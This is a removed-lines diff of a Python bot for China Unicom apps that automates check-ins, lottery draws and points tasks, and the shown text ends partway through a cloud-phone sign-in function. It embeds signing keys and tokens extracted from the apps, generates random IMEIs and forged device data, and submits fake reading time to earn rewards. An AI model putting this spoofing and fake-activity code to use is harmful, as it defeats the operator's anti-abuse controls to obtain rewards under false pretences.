- "https://m.jf.10010.com/jf-external-application/jftask/getSecretKey",
- headers=self.aiting_jf_headers(),
- timeout=10,
- )
- self.update_aiting_jea_id(res)
- data = res.json()
- secret = data.get('data', {}).get('secretKey')
- if data.get('code') == '0000' and secret:
- self.aiting_secretKey = secret.encode('utf-8')
- return self.aiting_secretKey
- self.log(f"爱听任务: getSecretKey 失败: {data}")
- except Exception as e:
- self.log(f"爱听任务: getSecretKey 异常: {e}")
- return None
-
- def build_signature_headers_aiting(self):
- secret_key = self.get_secret_key_aiting()
- if not secret_key:
- return {}
- request_ts = str(round(time.time() * 1000))
- nonce = ''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyz', k=8))
- signature = hmac.new(
- secret_key, f"{nonce}{request_ts}".encode('utf-8'), hashlib.sha256,
- ).hexdigest()
- return {
- 'x-request-timestamp': request_ts,
- 'x-request-nonce': nonce,
- 'x-request-signature': signature,
- }
-
- def ltzf_task(self):
- self.log("==== 联通祝福 ====")
- base_url = "https://wocare.unisk.cn/mbh/getToken"
- params = {
- "channelType": WOCARE_CONSTANTS["serviceLife"],
- "homePage": "home",
- "duanlianjieabc": "qAz2m"
- }
- targetUrl = f"{base_url}?{urlencode(params)}"
- res = self.openPlatLineNew(targetUrl)
- if not res or 'ticket' not in res:
- self.log("联通祝福: 获取Ticket失败")
- return
- ticket = res['ticket']
- if not self.wocare_getToken(ticket):
- self.log("联通祝福: 获取Wocare Token失败")
- return
- self.wocare_getSpecificityBanner()
- wocare_activities = [
- {"name": "星座配对", "id": 2},
- {"name": "大转盘", "id": 3},
- {"name": "盲盒抽奖", "id": 4}
- ]
- for activity in wocare_activities:
- self.wocare_getDrawTask(activity)
- self.wocare_loadInit(activity)
-
- def openPlatLineNew(self, to_url):
- try:
- base_url = "https://m.client.10010.com/mobileService/openPlatform/openPlatLineNew.htm"
- params = {"to_url": to_url}
- for attempt in range(1, 4):
- try:
- res = self.session.get(base_url, params=params, allow_redirects=False, timeout=15)
- break
- except Exception as e:
- err_msg = str(e)
- if attempt < 3 and os.environ.get("UNICOM_PROXY_API") and ("Max retries exceeded" in err_msg or "timed out" in err_msg.lower() or "connection" in err_msg.lower() or "SOCKS" in err_msg):
- self.log(f"openPlatLineNew 第{attempt}次异常触发故障转移: {err_msg}")
- self.failover_proxy()
- continue
- self.log(f"openPlatLineNew 第{attempt}次重试 - 异常: {e}")
- if attempt == 3:
- return None
- time.sleep(2)
- if res.status_code == 302 and 'Location' in res.headers:
- loc = res.headers['Location']
- parsed = urlparse(loc)
- qs = parse_qs(parsed.query)
- ticket = qs.get('ticket', [''])[0]
- type_val = qs.get('type', [''])[0]
- if ticket:
- return {'ticket': ticket, 'type': type_val, 'loc': loc}
- else:
- self.log("openPlatLineNew: 重定向URL中无ticket")
- else:
- self.log(f"openPlatLineNew: 状态码{res.status_code} (期望302)")
- except Exception as e:
- self.log(f"openPlatLineNew 异常: {str(e)}")
- return None
-
- def random_string(self, length, chars=string.ascii_letters + string.digits):
- return ''.join(random.choice(chars) for _ in range(length))
-
- def get_bizchannelinfo(self):
- info = {
- "bizChannelCode": "225",
- "disriBiz": "party",
- "unionSessionId": "",
- "stType": "",
- "stDesmobile": "",
- "source": "",
- "rptId": self.rptId,
- "ticket": "",
- "tongdunTokenId": self.tokenId_cookie,
- "xindunTokenId": self.unicomTokenId
- }
- return json.dumps(info)
-
- def get_epay_authinfo(self):
- info = {
- "mobile": "",
- "sessionId": getattr(self, 'sessionId', ''),
- "tokenId": getattr(self, 'tokenId', ''),
- "userId": ""
- }
- return json.dumps(info)
-
- def ttlxj_task(self, is_query_only=False):
- self.log("==== 天天领现金 ====")
- for attempt in range(1, 31):
- try:
- ticket_res = self.openPlatLineNew("https://epay.10010.com/ci-mps-st-web/ttlxj/")
- if not ticket_res or not ticket_res.get('ticket'):
- if attempt < 30:
- self.log(f"天天领现金: 获取Ticket失败,正在重试 ({attempt}/30)...")
- time.sleep(2)
- continue
- else:
- self.log("天天领现金: 获取Ticket失败,已达最大重试次数,跳过任务")
- return
- ticket = ticket_res['ticket']
- type_val = ticket_res['type']
- if self.ttlxj_authorize(ticket, type_val, ticket_res['loc']):
- if self.ttlxj_auth_check():
- if is_query_only:
- self.ttlxj_query_available()
- return
- self.ttlxj_do_tasks()
- self.ttlxj_query_available()
- break
- else:
- if attempt < 30:
- self.log(f"天天领现金: 授权失败,正在重试 ({attempt}/30)...")
- time.sleep(2)
- else:
- self.log("天天领现金: 授权失败,已达最大重试次数")
- except Exception as e:
- if attempt < 30:
- self.log(f"天天领现金: 任务异常 ({e}),正在重试 ({attempt}/30)...")
- time.sleep(2)
- else:
- self.log(f"天天领现金: 任务异常: {e}")
-
- def ttlxj_authorize(self, ticket, type_val, referer_url):
- try:
- url = "https://epay.10010.com/woauth2/v2/authorize"
- headers = {
- "Origin": "https://epay.10010.com",
- "Referer": referer_url
- }
- payload = {
- "response_type": "rptid",
- "client_id": "73b138fd-250c-4126-94e2-48cbcc8b9cbe",
- "redirect_uri": "https://epay.10010.com/ci-mps-st-web/",
- "login_hint": {
- "credential_type": "st_ticket",
- "credential": ticket,
- "st_type": type_val,
- "force_logout": True,
- "source": "app_sjyyt"
- },
- "device_info": {
- "token_id": f"chinaunicom-pro-{int(time.time()*1000)}-{self.random_string(13)}",
- "trace_id": self.random_string(32)
- }
- }
- res = self.session.post(url, json=payload, headers=headers, timeout=10)
- if res.status_code == 200:
- return True
- else:
- self.log(f"天天领现金: Authorize失败[{res.status_code}]: {res.text}")
- return False
- except Exception as e:
- self.log(f"ttlxj_authorize error: {e}")
- return False
-
- def ttlxj_auth_check(self):
- try:
- url = "https://epay.10010.com/ps-pafs-auth-front/v1/auth/check"
- headers = {
- "bizchannelinfo": self.get_bizchannelinfo()
- }
- res = self.session.post(url, headers=headers, json={}, timeout=10)
- data = res.json()
- code = data.get("code")
- if code == "0000":
- auth_info = data.get("data", {}).get("authInfo", {})
- self.sessionId = auth_info.get("sessionId", "")
- self.tokenId = auth_info.get("tokenId", "")
- self.epay_userId = auth_info.get("userId", "")
- return True
- elif code == "2101000100":
- login_url = data.get("data", {}).get("woauth_login_url")
- if login_url:
- return self.ttlxj_login(login_url)
- else:
- self.log(f"天天领现金: AuthCheck失败[{code}]: {data.get('msg')}")
- return False
- except Exception as e:
- self.log(f"ttlxj_auth_check error: {e}")
- return False
-
- def ttlxj_login(self, login_url):
- try:
- full_url = f"{login_url}https://epay.10010.com/ci-mcss-party-web/clockIn/?bizFrom=225&bizChannelCode=225"
- res = self.session.get(full_url, allow_redirects=False, timeout=10)
- if res.status_code == 302 and 'Location' in res.headers:
- loc = res.headers['Location']
- parsed = urlparse(loc)
- qs = parse_qs(parsed.query)
- rptid = qs.get('rptid', [''])[0]
- if rptid:
- self.rptId = rptid
- return self.ttlxj_auth_check()
- else:
- self.log("天天领现金: Login跳转后无rptid")
- else:
- self.log(f"天天领现金: Login失败[{res.status_code}]")
- return False
- except Exception as e:
- self.log(f"ttlxj_login error: {e}")
- return False
-
- def ttlxj_do_tasks(self):
- info_url = "https://epay.10010.com/ci-mcss-party-front/v1/ttlxj/userDrawInfo"
- headers = {
- "bizchannelinfo": self.get_bizchannelinfo(),
- "authinfo": self.get_epay_authinfo()
- }
- res = self.request("post", info_url, json={}, headers=headers)
- if not res: return
- data = res.json()
- if data.get('code') == '0000':
- day_of_week = data.get("data", {}).get("dayOfWeek", "")
- draw_key = f"day{day_of_week}"
- has_not_clocked_in = data.get("data", {}).get(draw_key) == "1"
- if has_not_clocked_in:
- self.log(f"天天领现金: 今天未打卡", notify=True)
- today_js = (datetime.now().weekday() + 1) % 7
- draw_type = "C" if today_js == 0 else "B"
- self.ttlxj_unifyDrawNew(draw_type)
- else:
- self.log(f"天天领现金: 今天已打卡", notify=True)
- else:
- self.log(f"天天领现金: 查询失败: {data.get('msg')}")
-
- def ttlxj_unifyDrawNew(self, draw_type):
- draw_url = "https://epay.10010.com/ci-mcss-party-front/v1/ttlxj/unifyDrawNew"
- headers = {
- "bizchannelinfo": self.get_bizchannelinfo(),
- "authinfo": self.get_epay_authinfo()
- }
- req_data = {
- "drawType": draw_type,
- "bizFrom": "225",
- "activityId": "TTLXJ20210330"
- }
- res = self.request("post", draw_url, data=req_data, headers=headers)
- if not res: return
- data = res.json()
- if data.get('code') == '0000':
- prize = data.get('data', {}).get('prizeName', '未知奖品')
- self.log(f"天天领现金: 抽奖成功: {prize}", notify=True)
- else:
- self.log(f"天天领现金: 抽奖失败: {data.get('msg')}")
-
- def ttlxj_query_available(self):
- avail_url = "https://epay.10010.com/ci-mcss-party-front/v1/ttlxj/queryAvailable"
- headers = {
- "bizchannelinfo": self.get_bizchannelinfo(),
- "authinfo": self.get_epay_authinfo()
- }
- res = self.request("post", avail_url, json={}, headers=headers)
- if not res: return
- data = res.json()
- if data.get('code') == '0000':
- d = data.get('data', {})
- amount_raw = int(d.get('availableAmount', '0'))
- amount_yuan = f"{amount_raw / 100:.2f}"
- msg = f"天天领现金: 可用立减金: {amount_yuan}元"
- seven_day = int(d.get('sevenDayExpireAmount', 0))
- if seven_day > 0:
- msg += f", 7天内过期立减金: {seven_day / 100:.2f}元"
- min_exp_amt = int(d.get('minExpireAmount', 0))
- min_exp_date = d.get('minExpireDate')
- if min_exp_amt > 0 and min_exp_date:
- msg += f", 最早过期立减金: {min_exp_amt / 100:.2f}元 -- {min_exp_date}过期"
- self.log(msg, notify=True)
- else:
- self.log(f"天天领现金: 查询余额失败: {data.get('msg')}")
-
- def aiting_get_aes(self, data, key):
- iv_str = "16-Bytes--String"
- key_bytes = key[:16].encode('utf-8')
- iv_bytes = iv_str[:16].encode('utf-8')
- text = json.dumps(data, separators=(',', ':')) if isinstance(data, (dict, list)) else str(data)
- padded_data = pad(text.encode('utf-8'), 16)
- cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
- ciphertext = cipher.encrypt(padded_data)
- hex_str = ciphertext.hex()
- return base64.b64encode(hex_str.encode('utf-8')).decode('utf-8')
-
- def aiting_aes_encrypt(self, data, key, iv):
- key_bytes = key.encode('utf-8')
- iv_bytes = iv.encode('utf-8')
- text = json.dumps(data, separators=(',', ':')) if isinstance(data, (dict, list)) else str(data)
- padded_data = pad(text.encode('utf-8'), 16)
- cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
- ciphertext = cipher.encrypt(padded_data)
- hex_str = ciphertext.hex().upper()
- return base64.b64encode(hex_str.encode('utf-8')).decode('utf-8')
-
- def aiting_md5(self, text):
- return hashlib.md5(text.encode('utf-8')).hexdigest()
-
- def aiting_generate_sign(self, params, key):
- sorted_keys = sorted(params.keys())
- sign_str = '&'.join([f"{k}={params[k]}" for k in sorted_keys])
- final_str = f"{sign_str}&key={key}"
- return self.aiting_md5(final_str)
-
- def aiting_timestamp(self):
- return str(int(time.time() * 1000))
-
- def aiting_nonce(self):
- return str(random.randint(100000, 999999))
-
- def aiting_generate_woid(self, imei):
- random6 = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
- imei8 = imei[:8] if len(imei) >= 8 else imei.ljust(8, '0')
- random4 = ''.join(random.choices(string.ascii_letters + string.digits, k=4))
- random2 = ''.join(random.choices(string.ascii_letters + string.digits, k=2))
- return f"WOA{random6}{imei8}LOT{random4}LV{random2}"
-
- def aiting_calculate_clientconfirm(self, userid, imei):
- plaintext = f"android{userid}{imei}"
- return self.aiting_aes_encrypt(plaintext, AITING_AES_KEY, AITING_AES_IV)
-
- def aiting_calculate_passcode(self, timestamp, phone):
- return self.aiting_md5(timestamp + phone + AITING_CLIENT_KEY)
-
- def aiting_build_statisticsinfo(self, userid, useraccount, imei, clientconfirm):
- params = {
- 'channelid': '28015001',
- 'sid': ''.join(random.choices(string.ascii_letters + string.digits + "_-", k=20)),
- 'eid': ''.join(random.choices(string.ascii_letters + string.digits + "_", k=20)),
- 'osversion': 'Android12',
- 'clientallid': '000000100000000000058.0.2.1225',
- 'display': '2400_1080',
- 'ip': '192.168.3.24',
- 'nettypename': 'wifi',
- 'version': '802',
- 'versionname': '8.0.2',
- 'terminalName': 'Redmi',
- 'terminalType': 'Redmi_K30_Pro',
- 'udid': 'null',
- 'woid': self.aiting_generate_woid(imei),
- 'useraccount': useraccount,
- 'userid': userid,
- 'clientconfirm': clientconfirm
- }
- return '&'.join([f"{k}={params[k]}" for k in params])
-
- def generate_random_imei(self):
- tac = ''.join([str(random.randint(0, 9)) for _ in range(8)])
- snr = ''.join([str(random.randint(0, 9)) for _ in range(6)])
- imei_raw = tac + snr
- digits = [int(d) for d in imei_raw]
- for i in range(len(digits) - 1, -1, -2):
- digits[i] *= 2
- if digits[i] > 9: digits[i] -= 9
- total = sum(digits)
- check_digit = (10 - (total % 10)) % 10
- return imei_raw + str(check_digit)
-
- def aiting_woread_login(self, phone):
- access_token = "ODZERTZCMjA1NTg1MTFFNDNFMThDRDYw"
- token_enc = ""
- if self.token_online:
- token_enc = self.aiting_get_aes(self.token_online, WOREAD_KEY)
- else:
- self.log("阅读专区: 未找到 token_online,尝试仅使用手机号登录")
- phone_enc = self.aiting_get_aes(phone, WOREAD_KEY)
- timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
- if token_enc:
- inner_data = {
- "tokenOnline": token_enc,
- "phone": phone_enc,
- "timestamp": timestamp
- }
- else:
- inner_data = {
- "phone": phone_enc,
- "timestamp": timestamp
- }
- sign_result = self.aiting_get_aes(inner_data, WOREAD_KEY)
- url = "https://10010.woread.com.cn/ng_woread_service/rest/account/login"
- body = {"sign": sign_result}
- headers = {
- "User-Agent": "Mozilla/5.0 (Linux; Android 11; Redmi Note 10 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.159 Mobile Safari/537.36",
- "accesstoken": access_token,
- "Content-Type": "application/json;charset=UTF-8",
- "Origin": "https://10010.woread.com.cn"
- }
- res = self.session.post(url, json=body, headers=headers).json()
- if res.get("code") == "0000":
- return res.get("data", {}).get("token")
- self.log(f"爱听登录: 沃阅读登录失败: {res}")
- return None
-
- def aiting_get_jwt_token(self, statisticsinfo):
- timestamp = self.aiting_timestamp()
- sign_params = {
- 'clientSource': '3',
- 'clientId': 'android',
- 'source': '3',
- 'timestamp': timestamp
- }
- sign_val = self.aiting_generate_sign(sign_params, AITING_SIGN_KEY_APPKEY)
- client_id_const = "395DEDE9C1D6FE11B7C9C0D82B353E74"
- client_id_b64 = base64.b64encode(client_id_const.encode('utf-8')).decode('utf-8')
- body = {
- 'clientSource': '3',
- 'clientId': client_id_b64,
- 'source': '3',
- 'timestamp': timestamp,
- 'sign': sign_val
- }
- url = f"{AITING_BASE_URL}/oauth/client/appkey"
- headers = {
- 'Skip-Authorization-Check': 'true',
- 'statisticsinfo': statisticsinfo,
- "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 12; Redmi K30 Pro Build/SKQ1.220303.001)"
- }
- try:
- res = self.session.post(url, json=body, headers=headers).json()
- if res.get("code") == "0000" and res.get("key"):
- return res.get("key")
- self.log(f"爱听登录: 获取JWT失败: {res}")
- except Exception as e:
- self.log(f"爱听登录: 获取JWT异常: {e}")
- return None
-
- def aiting_api_login(self, phone, useraccount, jwt_token, statisticsinfo):
- timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
- passcode = self.aiting_calculate_passcode(timestamp, phone)
- query_params_list = [
- 'networktype=3', 'ua=Redmi+K30+Pro', 'isencode=false',
- 'clientversion=8.0.2', 'versionname=Android_1_1080x2356',
- 'channelid=28015001', 'userlabelisencode=0', 'validatecode=', 'sid=',
- f"timestamp={timestamp}", f"passcode={passcode}"
- ]
- query_str = '&'.join(query_params_list)
- final_account = useraccount
- url = f"{AITING_BASE_URL}/mainrest/rest/read/user/ulogin/3/{final_account}/1/1/0?{query_str}"
- req_time = self.aiting_timestamp()
- nonce = self.aiting_nonce()
- sign_params = {
- 'jwt': jwt_token,
- 'nonestr': nonce,
- 'osversion': 'Android12',
- 'terminalName': 'Redmi',
- 'timestamp': req_time
- }
- sorted_keys = sorted(sign_params.keys())
- sign_str = '&'.join([f"{k}={sign_params[k]}" for k in sorted_keys])
- requertid = self.aiting_md5(f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}")
- headers = {
- 'statisticsinfo': statisticsinfo,
- 'requerttime': req_time,
- 'nonestr': nonce,
- 'requertid': requertid,
- 'AuthorizationClient': f"Bearer {jwt_token}",
- 'User-Agent': 'okhttp/4.9.0'
- }
- try:
- res = self.session.get(url, headers=headers).json()
- if res.get("code") == "0000" and res.get("message"):
- msg = res.get("message")
- token = msg.get("token")
- userid = msg.get("userid")
- if msg.get("accountinfo"):
- token = msg.get("accountinfo", {}).get("token") or token
- userid = msg.get("accountinfo", {}).get("userid") or userid
- return {"token": token, "userid": userid}
- self.log(f"爱听登录: 业务API登录失败: {res}")
- except Exception as e:
- self.log(f"爱听登录: 业务API异常: {e}")
- return None
-
- def aiting_login_flow(self):
- self.log("正在执行爱听登录流程...")
- woread_token = self.aiting_woread_login(self.mobile)
- if not woread_token: return False
- self.aiting_woread_token = woread_token
- imei = self.generate_random_imei()
- userid = self.mobile
- useraccount = self.mobile
- clientconfirm = self.aiting_calculate_clientconfirm(userid, imei)
- statisticsinfo = self.aiting_build_statisticsinfo(userid, useraccount, imei, clientconfirm)
- self.aiting_statisticsinfo = statisticsinfo
- jwt = self.aiting_get_jwt_token(statisticsinfo)
- if not jwt: return False
- self.aiting_jwt = jwt
- login_data = self.aiting_api_login(self.mobile, useraccount, jwt, statisticsinfo)
- if not login_data: return False
- self.aiting_biz_token = login_data.get('token')
- self.aiting_base_userid = login_data.get('userid') or self.mobile
- self.log(f"✅ 爱听业务登录成功! Token已获取")
- biz_ticket = self.aiting_get_ticket()
- if biz_ticket:
- self.aiting_biz_ticket = biz_ticket
- return True
- return False
-
- def aiting_get_ticket(self):
- url = f"{AITING_BASE_URL}/activity/rest/unicom/points/getInfoTicket"
- timestamp = self.aiting_timestamp()
- sign_params = {
- "token": self.aiting_biz_token,
- "timestamp": timestamp,
- "userid": self.aiting_base_userid
- }
- sign_val = self.aiting_generate_sign(sign_params, AITING_SIGN_KEY_API)
- body = {
- "sign": sign_val,
- "timestamp": timestamp,
- "token": self.aiting_biz_token,
- "userid": self.aiting_base_userid
- }
- nonce = self.aiting_nonce()
- head_sign_params = {
- 'jwt': self.aiting_jwt,
- 'nonestr': nonce,
- 'osversion': 'Android12',
- 'terminalName': 'Redmi',
- 'timestamp': timestamp
- }
- sorted_keys = sorted(head_sign_params.keys())
- sign_str = '&'.join([f"{k}={head_sign_params[k]}" for k in sorted_keys])
- final_sign_str = f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}"
- requertid = self.aiting_md5(final_sign_str)
- headers = {
- "AuthorizationClient": f"Bearer {self.aiting_jwt}",
- "statisticsinfo": self.aiting_statisticsinfo,
- "requerttime": timestamp,
- "nonestr": nonce,
- "requertid": requertid
- }
- try:
- res = self.session.post(url, json=body, headers=headers).json()
- if res.get("code") == "0000":
- msg = res.get("message", "")
- if "ticket=" in msg:
- match = re.search(r'ticket=([^&]+)', msg)
- if match:
- return match.group(1)
- return msg # Fallback if message is ticket itself? No, standard is URL.
- self.log(f"爱听登录: 获取Ticket失败: {res}")
- except Exception as e:
- self.log(f"爱听登录: 获取Ticket异常: {e}")
- return None
-
- def jf_get_task_detail(self, ticket):
- url = "https://m.jf.10010.com/jf-external-application/jftask/taskDetail"
- headers = self.aiting_jf_headers()
- headers['Referer'] = f"https://m.jf.10010.com/jf-external-application/index.html?ticket={ticket}&pageID=s789081246969976832"
- response = self.session.post(url, json={}, headers=headers)
- self.update_aiting_jea_id(response)
- res = response.json()
- return res.get("data", {}).get("taskDetail", {}).get("taskList", [])
-
- def jf_to_finish(self, ticket, task_code):
- url = "https://m.jf.10010.com/jf-external-application/jftask/toFinish"
- response = self.session.post(
- url,
- json={'taskCode': task_code},
- headers=self.aiting_jf_headers(with_signature=True),
- )
- self.update_aiting_jea_id(response)
-
- def jf_pop_up(self, ticket):
- url = "https://m.jf.10010.com/jf-external-application/jftask/popUp"
- response = self.session.post(url, json={}, headers=self.aiting_jf_headers())
- self.update_aiting_jea_id(response)
- res = response.json()
- if isinstance(res, dict):
- if res.get('code') == "0000" and res.get('data', {}).get('score'):
- self.log(f" └─ 🎉 获得 {res['data']['score']} 积分", notify=True)
- elif res.get('code') != "0000":
- self.log(f" └─ 📝 积分弹窗返回: {res.get('desc', res)}")
- return res
-
- def aiting_complete_task_api(self, type_val):
- timestamp = self.aiting_timestamp()
- nonce = self.aiting_nonce()
- sign_params = {'jwt': self.aiting_jwt, 'nonestr': nonce, 'osversion': 'Android12', 'terminalName': 'Redmi', 'timestamp': timestamp}
- sign_str = '&'.join([f"{k}={sign_params[k]}" for k in sorted(sign_params.keys())])
- requertid = self.aiting_md5(f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}")
- body_params = {'source': '3', 'timestamp': timestamp, 'token': self.aiting_woread_token, 'type': str(type_val), 'userid': self.aiting_base_userid}
- body_str = '&'.join([f"{k}={body_params[k]}" for k in sorted(body_params.keys())])
- sign = self.aiting_md5(f"{body_str}&key={AITING_SIGN_KEY_API}")
- url = f"{AITING_BASE_URL}/activity/rest/unicom/points/completiontask"
- payload = {**body_params, 'sign': sign}
- headers = {
- 'AuthorizationClient': f"Bearer {self.aiting_jwt}",
- 'requerttime': timestamp,
- 'nonestr': nonce,
- 'requertid': requertid,
- 'statisticsinfo': self.aiting_statisticsinfo
- }
- self.session.post(url, json=payload, headers=headers)
-
- def aiting_get_secretkey(self):
- timestamp = self.aiting_timestamp()
- nonce = self.aiting_nonce()
- sign_params = {'jwt': self.aiting_jwt, 'nonestr': nonce, 'osversion': 'Android12', 'terminalName': 'Redmi', 'timestamp': timestamp}
- sign_str = '&'.join([f"{k}={sign_params[k]}" for k in sorted(sign_params.keys())])
- requertid = self.aiting_md5(f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}")
- url = f"https://woread.com.cn/rest/read/statistics/getsecretkey/3/{self.aiting_base_userid}"
- headers = {
- 'AuthorizationClient': f"Bearer {self.aiting_jwt}",
- 'requerttime': timestamp, 'nonestr': nonce, 'requertid': requertid,
- 'statisticsinfo': self.aiting_statisticsinfo, 'User-Agent': 'okhttp/4.9.0'
- }
- params = {'token': self.aiting_woread_token}
- res = self.session.get(url, params=params, headers=headers).json()
- if res.get("code") == "0000":
- return res.get("message")
- return None
-
- def aiting_add_read_time(self, read_time_seconds):
- secretkey = self.aiting_get_secretkey()
- if not secretkey: return
- timestamp = self.aiting_timestamp()
- count_time_str = str(read_time_seconds * 1000)
- book_id = "4524960"
- data_obj = {
- "userid": self.aiting_base_userid,
- "counttime": count_time_str,
- "timestamp": timestamp,
- "secretkey": secretkey,
- "cntindex": book_id,
- "cnttype": 1,
- "readtype": 1
- }
- encrypted = self.aiting_aes_encrypt(data_obj, ADDREADTIME_AES_KEY, AITING_AES_IV)
- nonce = self.aiting_nonce()
- sign_params = {'jwt': self.aiting_jwt, 'nonestr': nonce, 'osversion': 'Android12', 'terminalName': 'Redmi', 'timestamp': timestamp}
- sign_str = '&'.join([f"{k}={sign_params[k]}" for k in sorted(sign_params.keys())])
- requertid = self.aiting_md5(f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}")
- url = f"https://woread.com.cn/rest/read/statistics/addreadtime/3/{encrypted}"
- random_uuid = str(uuid.uuid4()).replace('-', '')
- body = {
- "channelid": "28015001", "creadertime": datetime.now().strftime("%y%m%d%H%M%S"),
- "imei": self.generate_random_imei(),
- "list": { "cntindex": book_id, "cnttype": 1, "readtime": count_time_str, "readtype": 1 },
- "list1": [{ "cntindex": book_id, "cnttype": 1, "readtime": count_time_str, "readtype": 1 }],
- "listentimes": count_time_str, "uuid": random_uuid
- }
- headers = {
- 'AuthorizationClient': f"Bearer {self.aiting_jwt}",
- 'requerttime': timestamp, 'nonestr': nonce, 'requertid': requertid,
- 'statisticsinfo': self.aiting_statisticsinfo, 'User-Agent': 'okhttp/4.9.0'
- }
- res = self.session.post(url, json=body, headers=headers)
- if res.status_code == 200:
- self.last_read_submission_time = time.time()
- self.log(f"✅ 阅读时长上报成功 ({read_time_seconds}s)")
-
- def aiting_new_read_add(self):
- timestamp = self.aiting_timestamp()
- nonce = self.aiting_nonce()
- sign_params = {'jwt': self.aiting_jwt, 'nonestr': nonce, 'osversion': 'Android12', 'terminalName': 'Redmi', 'timestamp': timestamp}
- sign_str = '&'.join([f"{k}={sign_params[k]}" for k in sorted(sign_params.keys())])
- requertid = self.aiting_md5(f"{sign_str}&key={AITING_SIGN_KEY_REQUERTID}")
- url = f"https://woread.com.cn/rest/read/new/newreadadd/3/{self.aiting_base_userid}/{self.aiting_woread_token}"
- params = {'isfreeLimt': '0', 'isgray': 'true'}
- body = {"source": 3, "cntindex": "4524960", "chapterallindex": "100136247350", "readtype": 3}
- headers = {
- 'AuthorizationClient': f"Bearer {self.aiting_jwt}", 'requerttime': timestamp, 'nonestr': nonce, 'requertid': requertid, 'statisticsinfo': self.aiting_statisticsinfo, 'User-Agent': 'Redmi K30 Pro'
- }
- self.session.post(url, params=params, json=body, headers=headers)
-
- def aiting_task(self, is_query_only=False):
- self.log("==== 联通爱听任务 ====")
- if not self.aiting_login_flow():
- self.log("爱听任务: 登录失败,跳过")
- return
- self.log("爱听任务: 登录成功,正在获取任务列表...")
- try:
- self.aiting_query_integral()
- except: pass
- task_list = self.jf_get_task_detail(self.aiting_biz_ticket)
- done_list = [t for t in task_list if t.get('finish') == 1]
- printed_names = set()
- for t in done_list:
- name = t.get('taskName')
- if name not in printed_names:
- self.log(f" ✅ {name} ({t.get('finishCount')}/{t.get('needCount')})")
- printed_names.add(name)
- todo_list = [t for t in task_list if t.get('finish') == 0 and "邀请" not in t.get('taskName', '')]
- if not todo_list:
- self.log("爱听任务: ✅ 所有任务已完成")
- if is_query_only:
- self.log("爱听任务: [查询模式] 跳过任务执行...")
- return
- self.log(f"爱听任务: 发现 {len(todo_list)} 个待办任务")
- if is_query_only:
- self.log("爱听任务: [查询模式] 跳过任务执行...")
- return
- read_tasks = [t for t in todo_list if ("阅读" in t.get('taskName','') or "听读" in t.get('taskName','')) and "邀请" not in t.get('taskName','')]
- for task in read_tasks:
- remaining = int(task.get('needCount', 1)) - int(task.get('finishCount', 0))
- if remaining <= 0: continue
- self.log(f"执行阅读任务: {task.get('taskName')} (剩余 {remaining} 次)")
- for i in range(remaining):
- self.jf_to_finish(self.aiting_biz_ticket, task.get('taskCode'))
- self.log(f" └─ 第 {i + 1}/{remaining} 次: 极速提交中...")
- self.aiting_new_read_add()
- time.sleep(5)
- self.aiting_add_read_time(120)
- time.sleep(2)
- self.jf_pop_up(self.aiting_biz_ticket)
- other_tasks = [t for t in todo_list if not any(x in t.get('taskName','') for x in ["通知", "阅读", "听读", "邀请", "签到"])]
- notify_task = next((t for t in todo_list if "通知" in t.get('taskName','')), None)
- if notify_task:
- self.log(f"执行通知任务: {notify_task.get('taskName')}")
- self.jf_to_finish(self.aiting_biz_ticket, notify_task.get('taskCode'))
- time.sleep(1)
- self.aiting_complete_task_api(2)
- time.sleep(2)
- self.jf_pop_up(self.aiting_biz_ticket)
- for task in other_tasks:
- remaining = int(task.get('needCount', 1)) - int(task.get('finishCount', 0))
- if remaining <= 0: continue
- self.log(f"执行通用任务: {task.get('taskName')} (剩余 {remaining} 次)")
- for i in range(remaining):
- self.jf_to_finish(self.aiting_biz_ticket, task.get('taskCode'))
- time.sleep(1.5)
- self.aiting_complete_task_api(4) # Type 4
- time.sleep(2)
- self.jf_pop_up(self.aiting_biz_ticket)
- try:
- self.aiting_query_integral()
- except: pass
-
- def wostore_cloud_login(self, ticket):
- try:
- url1 = "https://member.zlhz.wostore.cn/wcy_member/yunPhone/h5Awake/businessHall"
- body1 = {
- "cpId": "91002997", "channelId": "ST-Zujian001-gs", "ticket": ticket,
- "env": "prod", "transId": "S2ndpage1235+开福袋!+F1+CJDD00D0001+iphone_c@12.0801",
- "qkActId": None
- }
- headers1 = {"Origin": "https://h5forphone.wostore.cn", "Content-Type": "application/json"}
- json_data = json.dumps(body1, separators=(',', ':'), ensure_ascii=True)
- res1 = self.session.post(url1, data=json_data, headers=headers1, timeout=15).json()
- if str(res1.get("code")) != "0":
- msg = res1.get("msg", str(res1))
- self.log(f"沃云手机: 登录第一步失败 - {msg}")
- return None
- redirect_url = res1.get("data", {}).get("url", "")
- match = re.search(r'token=([^&]+)', redirect_url)
- if not match:
- if "protocol" in redirect_url or "sign" in redirect_url:
- self.log("沃云手机: 未开通业务 (检测到协议签署跳转),跳过")
- else:
- self.log(f"沃云手机: 无法提取 Token, 跳转URL: {redirect_url}")
- return None
- first_token = match.group(1)
- time.sleep(1)
- url2 = "https://uphone.wostore.cn/h5api/activity-service/user/login"
- body2 = {
- "identityType": "cloudPhoneLogin", "code": first_token, "channelId": "ST-Zujian001-gs",
- "activityId": "Lottery_251201", "device": "device"
- }
- headers2 = {"Origin": "https://uphone.wostore.cn", "X-USR-TOKEN": first_token}
- res2 = self.session.post(url2, json=body2, headers=headers2, timeout=15).json()
- if str(res2.get("code")) == "200":
- user_token = res2.get("data", {}).get("user_token")
- return {"firstToken": first_token, "user_token": user_token}
- else:
- self.log(f"沃云手机: 登录第二步失败 - {res2.get('msg', str(res2))}")
- return None
- except Exception as e:
- self.log(f"沃云手机: 登录异常 {e}")
- return None
-
- def wostore_cloud_sign(self, user_token):
- try:
- url = "https://uphone.wostore.cn/h5api/activity-service/points/v1/sign"
- body = {"activityCode": "Points_Sign_2507"}
- headers = {"X-USR-TOKEN": user_token, "Origin": "https://uphone.wostore.cn"}
